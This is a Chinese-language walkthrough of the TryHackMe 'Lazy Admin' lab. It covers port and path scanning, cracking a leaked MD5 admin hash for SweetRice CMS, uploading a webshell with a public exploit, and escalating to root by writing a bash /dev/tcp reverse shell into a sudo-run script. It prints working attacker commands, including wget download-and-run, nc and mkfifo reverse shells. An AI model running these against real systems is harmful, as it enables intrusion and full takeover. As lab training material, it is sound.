Lazy Admin Final (Try Hack Me Writeup)


URL : https://tryhackme.com/room/lazyadmin

IP : 10.10.40.99

Scan

  • 根據套路,先掃 Port
    • nmap -A 10.10.40.99
    • 發現有開 80 跟 22
  • 觀察網頁
    • 80 port 是一個 Apaphe 在 Ubuntu 上的 Default page
  • 掃路徑
    • python3 dirsearch.py -u http://10.10.40.99
    • 掃到一個 /content
    • http://10.10.40.99/content/
      • 上面寫說他是 SweetRice CMS
  • 根據 /content 繼續掃會找到
    • 裡面有一個 Change Log
    • http://10.10.40.99/content/changelog.txt
    • 裡面有寫到他的版本是 1.5
  • 尋找 Exploit
    • 找到了適用的 Exploit,不過需要使用者帳號跟密碼
    • https://www.exploit-db.com/exploits/40716
  • 繼續掃路徑
    • 找到一個 mysql_backup
      • http://10.10.40.99/content/inc/mysql_backup/
      • 裡面有一個備份的 SQL 檔案
      • 內部有一些看起來是 PHP 序列話的東西
        • 5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";
          • 看的出來
            • admin : manager
            • passwd : 42f749ade7f9e195bf475f37a44cafcb
  • 透過 Google 尋找
    • Sweet Rice CMS 的後台是 /as
    • http://10.10.40.99/content/as/
  • 嘗試登入
    • 帳號 : manager
    • 密碼 : 42f749ade7f9e195bf475f37a44cafcb
      • 登入失敗
      • 正常人也不太可能用這種東西作為密碼
      • 拿去 Google 後發現是 MD5
        • 可以透過這個網站解碼 https://md5.gromweb.com/?md5=42f749ade7f9e195bf475f37a44cafcb
        • 所以答案是 Password123
      • 登入成功

Exploit

  • 下載檔案
    • wget https://www.exploit-db.com/download/40716 -O 40716.py
  • python3 40716.py 執行並輸入需要的資料
    • 10.10.40.99/content
    • manager
    • Password123
    • webshell.php5
      • 這邊我嘗試了 webshell.php 但是失敗
      • 根據Exploit提示的改用 webshell.php5 就可以ㄌ
  • 使用 Webshell
    • 可以成功連上
    • 改接 Reverse shell
      • http://10.10.40.99/content/attachment/webshell.php5?A=wget%2010.13.21.55:8000/s%20-O%20/tmp/s
      • 本地端執行 nc -nlvp 7877
      • 網址shell bash /tmp/s
      • 就順利接上ㄌ
  • 取得 Flag

準備提權

  • 家目錄看到一組帳號密碼,先存下來
    • rice:randompass
  • 透過 sudo -l 發現我們可以用 sudo 執行這一段 Perl
    • 而這一段 perl 會用 sh 呼叫 /etc/copy.sh
  • 觀察 ls -al /etc/copy.sh
    • 可以發現我們有 Write 的權限
  • 先把 /etc/copy.sh 備份一下以免搞壞
    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
  • 寫入我們的 Reverse shell
    • echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" > /etc/copy.sh
  • 監聽 Reverse shell
    • nc -nvlp 7878
  • 執行 Reverse shell
    • sudo /usr/bin/perl /home/itguy/backup.pl
  • 取得 Root
  • 取得 Root Flag
,

發表迴響